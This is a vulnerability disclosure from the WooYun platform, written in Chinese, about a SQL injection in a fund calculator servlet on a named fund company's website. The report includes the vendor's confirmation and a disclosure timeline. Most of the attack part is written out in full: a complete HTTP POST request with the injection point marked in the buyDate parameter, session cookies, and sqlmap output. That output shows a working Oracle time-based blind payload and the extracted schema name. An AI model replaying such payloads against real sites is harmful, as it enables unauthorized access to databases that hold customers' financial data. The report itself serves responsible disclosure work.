乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-07-26: 细节已通知厂商并且等待厂商处理中 2015-07-27: 厂商已经确认,细节仅向厂商公开 2015-08-06: 细节向核心白帽子及相关领域专家公开 2015-08-16: 细节向普通白帽子公开 2015-08-26: 细节向实习白帽子公开 2015-09-10: 细节向公众公开
希望多给些RANK
只要计算器有时间的判断就一个参数buyDate存在oracle时间盲注
POST /CalFundSylServlet HTTP/1.1Host: www.nffund.comProxy-Connection: keep-aliveContent-Length: 166Accept: application/json, text/javascript, */*; q=0.01Origin: http://www.nffund.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://www.nffund.com/nfjj/calculator/tzsy.jspAccept-Encoding: gzip,deflateAccept-Language: zh-CN,zh;q=0.8Cookie: uc_visitorid=417020122; JSESSIONID=ZxQ4V0CWRtpL7KpGCjgMpQGytT1QdsBmTmDLPWSPxK2yyGwntNJG!2056481154; Hm_lvt_cea998b3b8fd3029b233c254de0698a2=1435889768; Hm_lpvt_cea998b3b8fd3029b233c254de0698a2=1435889864; Hm_lvt_8f1647749e9291de366666c8e7bf6482=1435890202,1435890450; Hm_lpvt_8f1647749e9291de366666c8e7bf6482=1435890450; Hm_lvt_64932a435c8e1a1810a1673c4ab6e774=1435889228,1435890202,1435890450; Hm_lpvt_64932a435c8e1a1810a1673c4ab6e774=1435890450; Hm_lvt_ff68adc93b9c9fa02aa65c4ac46f95f1=1435890014,1435890017,1435890082,1435891120; Hm_lpvt_ff68adc93b9c9fa02aa65c4ac46f95f1=1435891120fundcode=202001&subscriptionAmount=11&buyDate=2015-07-02[注入点]&buyNav=1.2941&subscriptionRates=111&bonusFlag=1&redeemDate=2015-07-02&redeemNav=1.2941&redemptionRates=1
sqlmap验证
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:Place: POSTParameter: buyDate Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: fundcode=202001&subscriptionAmount=11&buyDate=2015-07-02' AND 1726=DBMS_PIPE.RECEIVE_MESSAGE(CHR(74)||CHR(117)||CHR(98)||CHR(70),5) AND 'Kvgi'='Kvgi&buyNav=1.2941&subscriptionRates=111&bonusFlag=1&redeemDate=2015-07-02&redeemNav=1.2941&redemptionRates=1---current schema (equivalent to database on Oracle): 'NFJJ'
current schema (equivalent to database on Oracle): 'NFJJ'
过滤
危害等级:中
漏洞Rank:10
确认时间:2015-07-27 23:41
参数类型检查已加强。谢谢反馈!
暂无